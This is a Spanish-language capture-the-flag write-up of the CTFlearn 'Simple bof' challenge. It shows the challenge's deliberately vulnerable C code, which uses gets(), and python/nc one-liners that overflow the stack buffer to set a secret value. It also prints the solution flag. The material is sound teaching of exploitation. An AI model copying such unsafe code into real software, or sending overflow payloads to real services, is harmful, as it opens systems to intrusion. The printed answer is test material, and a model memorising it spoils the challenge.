Simple bof
6 minutos de lectura
Se nos proporciona el código fuente en C de un binario y una instancia remota a la que conectarnos. Básicamente, lo que el programa hace es llamar a gets
, que es vulnerable a Buffer Overflow, y luego comparar una variable local con un cierto valor:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
void print_flag();
void vuln() {
char padding[16];
char buff[32];
int notsecret = 0xffffff00;
int secret = 0xdeadbeef;
memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.
// Initializes the stack visualization. Don't worry about it!
init_visualize(buff);
// Prints out the stack before modification
visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification
visualize(buff);
// Check if secret has changed.
if (secret == 0x67616c66) {
puts("You did it! Congratuations!");
print_flag(); // Print out the flag. You deserve it.
return;
} else if (notsecret != 0xffffff00) {
puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
} else if (secret != 0xdeadbeef) {
puts("Wow you overflowed the secret value! Now try controlling the value of it!");
} else {
puts("Maybe you haven't overflowed enough characters? Try again?");
}
exit(0);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
safeguard();
vuln();
}
El objetivo del reto es modificar la variable secret
de manera que sea igual a 0x67616x66
y entrar en el bloque if
, que llama a print_flag
.
Si ejecutamos el programa, nos muestra la pila (stack) para ayudarnos con la explotación:
$ nc thekidofarcrania.com 35235
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffb1c278 | 00 00 00 00 00 00 00 00 |
0xffb1c280 | 00 00 00 00 00 00 00 00 |
0xffb1c288 | 00 00 00 00 00 00 00 00 |
0xffb1c290 | 00 00 00 00 00 00 00 00 |
0xffb1c298 | ff ff ff ff ff ff ff ff |
0xffb1c2a0 | ff ff ff ff ff ff ff ff |
0xffb1c2a8 | ef be ad de 00 ff ff ff |
0xffb1c2b0 | c0 75 ef f7 84 7f 60 56 |
0xffb1c2b8 | c8 c2 b1 ff 11 5b 60 56 |
0xffb1c2c0 | e0 c2 b1 ff 00 00 00 00 |
Input some text: AAAA
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffb1c278 | 41 41 41 41 00 00 00 00 |
0xffb1c280 | 00 00 00 00 00 00 00 00 |
0xffb1c288 | 00 00 00 00 00 00 00 00 |
0xffb1c290 | 00 00 00 00 00 00 00 00 |
0xffb1c298 | ff ff ff ff ff ff ff ff |
0xffb1c2a0 | ff ff ff ff ff ff ff ff |
0xffb1c2a8 | ef be ad de 00 ff ff ff |
0xffb1c2b0 | c0 75 ef f7 84 7f 60 56 |
0xffb1c2b8 | c8 c2 b1 ff 11 5b 60 56 |
0xffb1c2c0 | e0 c2 b1 ff 00 00 00 00 |
Maybe you haven't overflowed enough characters? Try again?
Necesitamos añadir más caracteres para llegar a los números en rojo de la pila (es decir, 48 caracteres). Vamos a probar:
$ python3 -c 'print("A" * 48 + "B" * 4)' | nc thekidofarcrania.com 35235
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xff995cb8 | 00 00 00 00 00 00 00 00 |
0xff995cc0 | 00 00 00 00 00 00 00 00 |
0xff995cc8 | 00 00 00 00 00 00 00 00 |
0xff995cd0 | 00 00 00 00 00 00 00 00 |
0xff995cd8 | ff ff ff ff ff ff ff ff |
0xff995ce0 | ff ff ff ff ff ff ff ff |
0xff995ce8 | ef be ad de 00 ff ff ff |
0xff995cf0 | c0 e5 f3 f7 84 af 5c 56 |
0xff995cf8 | 08 5d 99 ff 11 8b 5c 56 |
0xff995d00 | 20 5d 99 ff 00 00 00 00 |
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xff995cb8 | 41 41 41 41 41 41 41 41 |
0xff995cc0 | 41 41 41 41 41 41 41 41 |
0xff995cc8 | 41 41 41 41 41 41 41 41 |
0xff995cd0 | 41 41 41 41 41 41 41 41 |
0xff995cd8 | 41 41 41 41 41 41 41 41 |
0xff995ce0 | 41 41 41 41 41 41 41 41 |
0xff995ce8 | 42 42 42 42 00 ff ff ff |
0xff995cf0 | c0 e5 f3 f7 84 af 5c 56 |
0xff995cf8 | 08 5d 99 ff 11 8b 5c 56 |
0xff995d00 | 20 5d 99 ff 00 00 00 00 |
Wow you overflowed the secret value! Now try controlling the value of it!
Genial, tenemos control sobre el valor de secret
. Ahora necesitamos sobrescribirlo con 0x67616c66
para poder llamar a print_flag
. El número en hexadecimal tiene que ser enviado en formato little-endian (esto es, los bytes en orden inverso: "\x66\x6c\x61\x67"
). Afortunadamente, estos bytes son caracteres ASCII imprimibles que corresponden a la cadena "flag"
:
$ python3 -c 'print("\x66\x6c\x61\x67")'
flag
$ python3 -c 'print("A" * 48 + "flag")' | nc thekidofarcrania.com 35235
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffc59198 | 00 00 00 00 00 00 00 00 |
0xffc591a0 | 00 00 00 00 00 00 00 00 |
0xffc591a8 | 00 00 00 00 00 00 00 00 |
0xffc591b0 | 00 00 00 00 00 00 00 00 |
0xffc591b8 | ff ff ff ff ff ff ff ff |
0xffc591c0 | ff ff ff ff ff ff ff ff |
0xffc591c8 | ef be ad de 00 ff ff ff |
0xffc591d0 | c0 e5 f3 f7 84 af 5c 56 |
0xffc591d8 | 08 5d 99 ff 11 8b 5c 56 |
0xffc591e0 | 20 5d 99 ff 00 00 00 00 |
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffc59198 | 41 41 41 41 41 41 41 41 |
0xffc591a0 | 41 41 41 41 41 41 41 41 |
0xffc591a8 | 41 41 41 41 41 41 41 41 |
0xffc591b0 | 41 41 41 41 41 41 41 41 |
0xffc591b8 | 41 41 41 41 41 41 41 41 |
0xffc591c0 | 41 41 41 41 41 41 41 41 |
0xffc591c8 | 66 6c 61 67 00 ff ff ff |
0xffc591d0 | c0 75 f1 f7 84 7f 5e 56 |
0xffc591d8 | e8 91 c5 ff 11 5b 5e 56 |
0xffc591e0 | 00 92 c5 ff 00 00 00 00 |
You did it! Congratuations!
CTFlearn{buffer_0verflows_4re_c00l!}